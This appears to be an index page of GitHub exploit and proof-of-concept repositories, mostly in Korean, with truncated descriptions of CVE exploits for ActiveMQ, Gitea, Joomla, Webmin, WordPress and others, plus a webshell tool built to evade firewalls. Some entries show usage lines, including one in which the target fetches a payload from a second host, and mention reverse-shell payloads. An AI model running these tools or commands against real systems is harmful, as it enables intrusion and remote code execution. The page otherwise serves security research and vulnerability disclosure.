CVE-2020-28653

CVE-2020-28653 버전: 2016 - 2020 패치 전 사용법: python exploit.py http://vuln-web.com...

lfi

경량 결함 격리 LFI Lightweight Fault Isolation LFI 프로젝트의 최상위 저장소에 오신 것을 환영합니다. LFI란 무엇인가요? LFI는 네이티브 코드를 샌드박싱하기 위한 시스템입니다. WebAssembly 및 Native Client와 마찬가지로 LFI는 샌드박싱된 코드를 프로세스 내즉, 호스트 애플리케이션과 동일한 주소 공간에서 격리합니다. 현재 Arm64 및 x86-64 대상을 지원하며, 실험적인 RISC-V 지원이 있습니다. LFI는 처음부터 C/C++ 라이브러리어셈블리 코드 포함 및 장치 드라이...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow 는 기업 운영을 위한 디지털 워크플로우를 관리하는 데 도움을 주는 비즈니스 혁신 플랫폼입니다. CVE-2024-4879 는 인증되지 않은 사용자가 Now Platform 내에서 원격으로 코드를 실행할 수 있게 할 수 있습니다. 이 취약점은 Title Injection, Template Injection Mitigation Bypass, Filesystem Filter Bypass의 세 가지 문제를 연쇄적으로 악용하여 ServiceNow 데이터에 접근합니다. 영향을...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

프로젝트 참조 이 프로젝트는 https://github.com/X1r0z/ActiveMQ-RCE 프로젝트의 exp를 참조하여 다시 작성한 python 버전의 exp입니다. 사용법 python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p 매개변수는 기본적으로 activeMQ의 기본 포트입니다. -x 매개변수는 프로토콜 접두사를 추가해야 합니다. 소개 여기에 openwire 프로토콜의 그림을 첨부하면 이해하기 쉽습니다. 아래는...

Next.js-RSC-RCE-Scanner-CVE-2025-66478

Next.js RSC RCE 扫描器与 POC/Exploit 合集 CVE-2025-66478 一个命令行扫描器，用于批量检测 Next.js 应用程序版本，并判断其是否受 CVE-2025-66478 漏洞影响。 此扫描器不会利用该漏洞 漏洞描述 https://nextjs.org/blog/CVE-2025-66478 安装 前置要求 Go 1.19 或更高版本 Chrome/Chromium 浏览器（go-rod 将自动下载） git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-6647...

CVE-2024-47051

요약 Asset 편집 기능에서 업로드된 파일의 콘텐츠, 유형 및 확장자에 대한 부적절한 검증으로 인해 인증된 공격자가 웹 디렉터리 내에 임의의 PHP 코드를 작성하고 해당 파일이 기록된 위치를 찾을 수 있습니다. 이로 인해 원격 코드 실행RCE이 발생합니다. 경로 순회path traversal를 통해 이 기능을 악용하여 웹 사용자가 수정 권한을 가진 파일 시스템의 모든 디렉터리를 재귀적으로 삭제할 수도 있습니다. 세부 정보 - RCE /assets/view/assetID 경로를 통해 Asset을 편집할 때 에셋의 파일을 변경할...

CVE-2025-1094-PoC-Postgre-SQLi

CVE-2025-1094 분석 및 에뮬레이션 설정 2025년 3월 14일에 수행된 이 상세 분석은 제공된 에뮬레이션 설정과 개념 증명PoC 실행을 기반으로 PostgreSQL에서 가상의 심각한 SQL 인젝션 취약점인 CVE-2025-1094를 탐구합니다. 이 분석은 취약점 소개, 근본 원인, 파일 기여, PoC 단계 및 완화 조치를 다루며, 에뮬레이션 과정의 모든 복잡한 세부 사항을 포함합니다. 취약점 소개 CVE-2025-1094는 PostgreSQL의 치명적인 SQL 인젝션 결함으로 설명되며, 버전 17.3, 16.7,...

CVE-2020-14144-GiTea-git-hooks-rce

CVE-2020-14144 - GiTea 인증된 원격 코드 실행 RCE CVE-2020-14144를 이용해 git 훅을 통해 GiTea 인증된 원격 코드 실행을 수행하는 스크립트 기능 IP와 PORT로부터 자동 리버스 셸 페이로드 생성 사용자 정의 셸 스크립트 업로드 후 -f 옵션으로 원격 실행 사용자 이름과 비밀번호로 자동 로그인 사용법 $ ./CVE-2020-14144-GiTea-git-hooks-rce.py -h / | CVE-2020-14144 | | | | | | | | | | |/ / | Authenticated...

CVE-2024-0757-Exploit

CVE-2024-0757 익스플로잇 설명 WordPress용 Insert or Embed Articulate Content into WordPress 플러그인은 모든 버전최대 4.3000000023 포함에서 zip 아카이브의 안전하지 않은 파일 업로드를 통해 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 phar 파일이 포함된 zip 파일을 업로드할 수 있으며, 이는 원격 코드 실행 가능성을 만듭니다. !IMPORTANT CVSS: 8.8 High...

pinky

웹쉘을 업로드하는 것은 웹 취약점을 악용한 후 거의 항상 다음 단계이지만, Cloudflare와 같은 서비스와 새로운 세대의 방화벽은 공격자가 HTTP 또는 HTTPS를 통해 대상에서 명령을 실행하는 것을 매우 잘 막습니다. 반면에, 텍스트 콘텐츠 필터링 및 허용 목록 애플리케이션 정책은 최소한의 노력으로 쉽게 악용될 수 있으며, pinky는 그 PoC 입니다. pinky는 어떻게 다른가요? 첫째, pinky 는 시스템 명령을 실행할 수 있는 함수가 무엇인지 찾으려고 시도합니다; 가장 좋은 php 함수를 찾은 후에는 모든 통신...

CVE-2024-31317-PoC-Deployer

CVE-2024-31317-PoC-Deployer Android 913 기기를 대상으로 하는 CVE-2024-31317 개념 증명PoC 악용 코드 배포 도구입니다. 📝 프로젝트 설명 CVE-2024-31317-PoC-Deployer는 CVE-2024-31317 취약점 악용에 필요한 모든 파일을 신속하게 생성하고 구성하는 자동화 배포 스크립트입니다. 이 취약점은 Android 913 기기에 영향을 미치며, Zygote 프로세스를 통한 권한 상승 및 임의 코드 실행을 허용합니다. 🚨 취약점 정보 CVE ID :...

PHP-Injection-in-M4-PDF-Extensions

PHP-Injection-in-M4-PDF-Extensions CVE-2023-50029는 M4 PDF Extensions 모듈의 PHP 인젝션 취약점입니다. 이 취약점으로 인해 공격자는 서버에 임의의 PHP 코드를 주입 및 실행할 수 있으며, 이를 통해 대상 시스템에 대한 완전한 제어권을 획득할 수 있습니다. 문제는 입력값의 부적절한 검증에 있으며, 악성 코드가 사용자 파라미터를 통해 전달될 수 있습니다. PoC POST /generatepdf.php HTTP/1.1 Host: example.com Content-Type:...

CVE-2021-44827

CVE-2021-44827 CVE-2021-44827에 대한 PoC - Tp-link Archer C20i에서 인증된 원격 코드 실행 분석 글: https://full-disclosure.eu/reports/2022/CVE-2021-44827-tplink-authenticated-remote-code-execution.html 예제 $ python exploit.py error0 error0 Run postexploitcmd Trying 192.168.0.1... Connected to 192.168.0.1 Escape...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Joomla의 CVE-2015-8562 취약점객체 삽입 RCE에 대한 개념 증명PoC 소개/변경 기록 이 PoC는 exploit-db에 호스팅된 구현의 두 번째 버전입니다. -세션 재생성 수정 -X-Forwarded-For에서 User-Agent 메서드로 전환하는 옵션 추가 -python 리버스 셸에서 bash 리버스 셸로 전환하는 옵션 추가 -http 스키마 누락 및 스크립트 종료에 대한 예외 처리 추가 -더 나은 사용성, 메시지 및 색상으로 수정 -TODO: msf 지원 추가 사용 방법...

FileInsight-plugins

FileInsight-plugins: decoding toolbox of McAfee FileInsight hex editor for malware analysis FileInsight-plugins is a large set of plugins for McAfee FileInsight hex editor. It adds many capabilities such as decryption, decompression, searching XOR-ed text strings, scanning with a YARA rule, code...

CVE-2014-4481

CoreGraphics CCITT メモリ破損 - CVE-2014-4481 Apple CoreGraphics フレームワークは、CCITT Group 3 エンコードデータを解析する際に入力を検証しないため、ヒープオーバーフロー状態を引き起こします。小さなヒープメモリ割り当てが、入力からの制御されたデータによってオーバーフローし、Mobile Safari のコンテキストで任意のコード実行が可能になります。 概要 タイトル: Apple CoreGraphics メモリ破損 CVE 名: CVE-2014-4481 パーマリンク:...

CVE-2024-29988-exploit

CVE-2024-29988-exploit Microsoft SmartScreen 악성 실행에 대한 Exploit 2024년 4월 설명 중대한 취약점인 CVE-2024-29988이 Microsoft의 2024년 4월 Patch Tuesday 릴리스에서 발견되었습니다. 이 취약점으로 인해 위협 행위자는 Microsoft의 Mark of the WebMotW 기능을 우회하여 임의 코드를 실행할 수 있습니다. Trend Micro의 Zero Day InitiativeZDI의 수석 위협 연구원인 Peter Girnus는 공격자들이 이...

CVE-2019-0708

CVE-2019-0708 CVE-2019-0708 스캐너 PoC - @JaGoTu 및 @zerosum0x0. 이 저장소에는 호스트가 CVE-2019-0708Microsoft Windows 원격 데스크톱 서비스 원격 코드 실행 취약점에 취약한지 탐지할 수 있는 rdesktop의 스캐너 포크가 있습니다. 이는 서비스 거부denial-of-service를 유발하지 않아야 하지만, 수년간의 모든 취약한 RDP 스택 버전에 대해 100% 보장할 수는 없습니다. 또한 현재 작업 중인 Metasploit 모듈도 있습니다MSF에는 RDP...

ApacheSolrRCE

プロジェクトの声明 情報セキュリティの教育・交流のみを目的としており、不正なテストや攻撃に使用しないでください。 ApacheSolrRCE ApacheSolrRCE（CVE-2019-0193）は、ワンクリックでシェルを書き込むツールです。原理はコード実行を利用したJavaファイルストリームによるものです。 注：作者は初心者です。バグやその他の要望がある場合は、ご自身でコードをダウンロードして修正してください。 ツールの説明...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script CVE-2012-2982 인증 RCE 취약점/file/show.cgi/bin 엔드포인트을 위한 간단하고 짧은 익스플로잇 스크립트입니다. Webmin RCE 익스플로잇 — CVE-2012-2982 이 저장소는 /file/show.cgi/bin/ 엔드포인트를 통해 알려진 원격 코드 실행 취약점을 대상으로 하는 Webmin 🧠 참고 페이로드는 기본적으로 bash -i 리버스 셸을 사용합니다. 주입된 페이로드의 끝에 있는 |는 성공적인 실행에 중요합니다. Webmin 1.580에서...